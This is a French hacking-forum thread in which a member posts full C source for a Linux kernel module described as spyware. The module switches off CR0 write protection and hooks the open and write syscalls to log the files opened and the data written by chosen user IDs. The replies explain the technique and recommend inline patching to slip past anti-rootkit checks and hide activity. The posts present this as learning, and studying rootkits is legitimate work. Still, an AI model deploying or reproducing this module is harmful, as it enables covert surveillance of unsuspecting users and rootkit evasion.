• STATISTIQUES
  • Il y a eu un total de 3 membres et 3331 visiteurs sur le site dans les dernières 24h pour un total de 3 334 personnes!


    Membres: 2 604
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] w3challs
    Ce site propose différents types de défis informatiques: piratage, craquage, cryptographie, stég...
    Hacking
    [EN] Packet Storm
    Packet Storm est un site qui combine nouvelles de la sécurité informatique, téléchargemen...
    Vulnérabilités
    [FR] dcode
    dcode.fr est le site indispensable pour décoder des messages, tricher aux jeux de lettres, résoudre des énigmes...
    Outils / Add-on
    [EN] Astalavista
    Un site aux ressources incontournable depuis plusieurs années, Astalavista est réellement devenue un cl...
    Hacking
    [FR] Newbie Contest
    Crackme: 35, Cryptographie: 49, Hacking: 27, Javascript/Java: 17, Logique: 31, Programmation: 23, Stéganographie: 53
    Challenges
    [FR] µContest
    µContest est un site de challenges de programmation, c'est à dire qu'il propose des épreu...
    Hacking
    [EN] Gekko
    Site de challenge présenter sous la forme d'une quête. Vous êtes un agent secret qui répond sous le nom...
    Challenges

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[ring0 linux]espionnez ce que fait un utilisateur sur votre pc [à ne pas faire]
07-04-2013, 19h53
Message : #1
Creepy_p0ney Hors ligne
chef des poneys voodoo
*



Messages : 146
Sujets : 9
Points: 24
Inscription : Dec 2011
[ring0 linux]espionnez ce que fait un utilisateur sur votre pc [à ne pas faire]
Bonjour bonjour, comme certains le savent déjà, je m'amuse un petit peu avec le kernel linux, et me souciant de comment marchait les spywares, j'ai voulu en créer un, sans prétentions,il n'est pas très fonctionnel pour le moment, il trace les appels systèmes open et write que fait un utilisateur (dans ce code l'uid 4 et 1000). Je pense l'ameliorer en utilisant le système de fichier /proc ensuite.
Pour toutes les personnes rétiçantes pensant que c'est pour "hack da planet", je l'ai fait sans aucune intention de nuire, juste pour comprendre comment ça marchait, d'ailleurs le prochain module que je ferai cherchera les spywares (si c'est possible bien sûr).
J'ai utilisé pour récuperer la table des syscallsles fonctions du registre cr0 qui permettent de sortir du mode protégé et ainsi pouvoir remplacer les appels système open et write par mes propres appels.
bon place au code maintenant :
Code C :

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <asm/current.h>
#include <asm/uaccess.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>
#include <linux/proc_fs.h>



unsigned long *syscall_table=(unsigned long *) 0xc15d4040;//on recupère la table des sys calls
asmlinkage int (*original_write)(unsigned int, const char __user *, size_t);//pointeur sur l'appell système write d'origine (pas encore definie (dans le init)
asmlinkage int (*original_open)(const char *, int ,int);//de même mais avec le open


static char procfs_buffer[1024];

static int procfs_buffer_size=0;
/*
 * fonction de remplacement de l'appel système write
 * elle affiche ce qu'ecrit l'uid 1000 dans un fichier
 */

asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count)
{
    struct cred *our_cred;
    our_cred=prepare_creds();
    if(our_cred->uid==1000 || our_cred->uid==4)
    {
        printk(KERN_INFO "just writing ");
        if(count<1024)
        {
            copy_from_user(procfs_buffer,buf,count);
            printk(KERN_INFO "%s\n",procfs_buffer);
        }
    }
    return (*original_write)(fd, buf, count);
}
/*
 * fonction de remplacement de l'apppel système open
 * elle affiche le nom du fichier ouvert par l'uid 100
 */

asmlinkage int new_open(const char *filename, int flags, int mode)
{
    struct cred *our_cred;
    our_cred=prepare_creds();
    if(our_cred->uid==1000 || our_cred->uid==4)
    {
        printk(KERN_INFO "just openning ");        
                copy_from_user(procfs_buffer,filename,1024);
                printk(KERN_INFO "%s\n",procfs_buffer);
       
    }
   
    return (*original_open)(filename, flags, mode);
}
       
static int init(void)
{
    printk(KERN_INFO "THE BEGGINNING OF THE END\n");
    write_cr0(read_cr0 () & (~ 0x10000));
    original_write=(void *)syscall_table[__NR_write];
    original_open=(void *)syscall_table[__NR_open];
    syscall_table[__NR_write]=new_write;
    syscall_table[__NR_open]=new_open;
    write_cr0(read_cr0 () | 0x10000);
    return 0;
}

static void exit(void)
{
    write_cr0(read_cr0 () & (~ 0x10000));
    syscall_table[__NR_write]=original_write;
    syscall_table[__NR_open]=original_open;
    write_cr0(read_cr0 () | 0x10000);
    printk(KERN_INFO "END OF THE END\n");
    return ;
}
module_init(init);
module_exit(exit);
 

Si vous avez d'éventuelles questions, suggestions, reproches etc ... faites en moi part
désolé pour les eventuelles fautes d'orthographe.
Penser que coder est coder explique-t-il la recursion ?
http://p0neyland.wordpress.com/
+1 (3) -1 (0) Répondre
07-04-2013, 19h59
Message : #2
supersnail Hors ligne
Éleveur d'ornithorynques
*******



Messages : 1,608
Sujets : 71
Points: 466
Inscription : Jan 2012
RE: [ring0 linux]espionnez ce que fait un utilisateur sur votre pc [à ne pas faire]
Well, juste quelques petites remarques :]

Tout d'abord, le registre CR0 est un registre qui contient divers flags, dont un qui désactive temporairement le gestionnaire d'exceptions (et donc les page fault et tout le bordel) ce qui est pratique vu que la table des syscalls est dans une zone théoriquement "read-only" (et donc ça t'évite de te bouffer un kernel panic).

Sinon, l'adresse de la syscall table étant hardcoded, ton code fonctionne pour ta version du kernel mais probablement pas pour quelqu'un d'autre (qui devra lui-même trouver l'adresse de sa syscall table Wink).

Bref, pas mal pour une exploration du kernel-land Smile
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
+1 (1) -1 (0) Répondre
07-04-2013, 20h02
Message : #3
Creepy_p0ney Hors ligne
chef des poneys voodoo
*



Messages : 146
Sujets : 9
Points: 24
Inscription : Dec 2011
RE: [ring0 linux]espionnez ce que fait un utilisateur sur votre pc [à ne pas faire]
Ok d'accord, merci pour cette information
Est ce que tu sais comment est-ce qu'on peut la rendre portable ?
Penser que coder est coder explique-t-il la recursion ?
http://p0neyland.wordpress.com/
+1 (0) -1 (0) Répondre
07-04-2013, 20h09
Message : #4
supersnail Hors ligne
Éleveur d'ornithorynques
*******



Messages : 1,608
Sujets : 71
Points: 466
Inscription : Jan 2012
RE: [ring0 linux]espionnez ce que fait un utilisateur sur votre pc [à ne pas faire]
Ben j'ai peur que ce soit assez délicat en fait ... (le symbole est pas exporté par le kernel, et faut aller fouiner dans les fichiers *.map associés au kernel pour l'avoir)

Sinon tu peux toujours récup l'adresse des fonctions sys_write et sys_close et faire du inline patching vers tes fonctions (par contre te faudra une mini-lib de "désassemblage" pour recopier les instructions que tu vas réécrire, anyway ça se trouve facilement sur le net), ça t'évitera d'avoir à tripoter la table des syscalls (premier truc qu'un anti-rootkit vérifie btw).

Et l'avantage du inline patching c'est que du coup tu touches aussi les open & write faits dans le kernel, ce qui peut être utile pour planquer des trucs/etc Wink
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
+1 (1) -1 (0) Répondre
07-04-2013, 20h11
Message : #5
Creepy_p0ney Hors ligne
chef des poneys voodoo
*



Messages : 146
Sujets : 9
Points: 24
Inscription : Dec 2011
RE: [ring0 linux]espionnez ce que fait un utilisateur sur votre pc [à ne pas faire]
ah je vais regarder ça alors :p tiens ça peut etre rigolo à faire un rootkit et un anti-rootkit aussi
Penser que coder est coder explique-t-il la recursion ?
http://p0neyland.wordpress.com/
+1 (0) -1 (0) Répondre
07-04-2013, 20h24 (Modification du message : 07-04-2013, 20h25 par Kiwazaru.)
Message : #6
Kiwazaru Hors ligne
Padawan d'un super escargot
*



Messages : 284
Sujets : 26
Points: 139
Inscription : Mar 2012
RE: [ring0 linux]espionnez ce que fait un utilisateur sur votre pc [à ne pas faire]
Yeah, gj Smile

Content de voir du stuff ring0, ça me fait un bon exemple de ce que j'ai en projet de faire :B ! (Le tripotage du kernel nux)
Toucher au Kernel, c'est un peut comme se shooter au LSD, on pense pouvoir tout faire mais ça finit souvent mal.
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  [C++] Votre lib de GUI préféré Yttrium 9 168 25-07-2013, 17h46
Dernier message: Booster2ooo
  [Ebook-PDF]Programmation Avancée C linux thxer 3 95 29-05-2013, 07h37
Dernier message: thxer
  [C] Patcher son premier crackme linux (for loob && level -- ) InstinctHack 6 214 05-05-2013, 16h47
Dernier message: fr0g
  [C] The advanced linux programming Junky 2 118 26-03-2013, 18h29
Dernier message: sakiir
  [NASM] Création d'un thread sous Linux uniquement avec les syscalls supersnail 2 123 04-03-2013, 23h36
Dernier message: Dobry
  [C-Question] Memory Editing Sous linux ? sakiir 4 83 24-02-2013, 00h58
Dernier message: sakiir
  [C++] Spammeur linux Dobry 0 79 24-02-2012, 19h48
Dernier message: Dobry

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut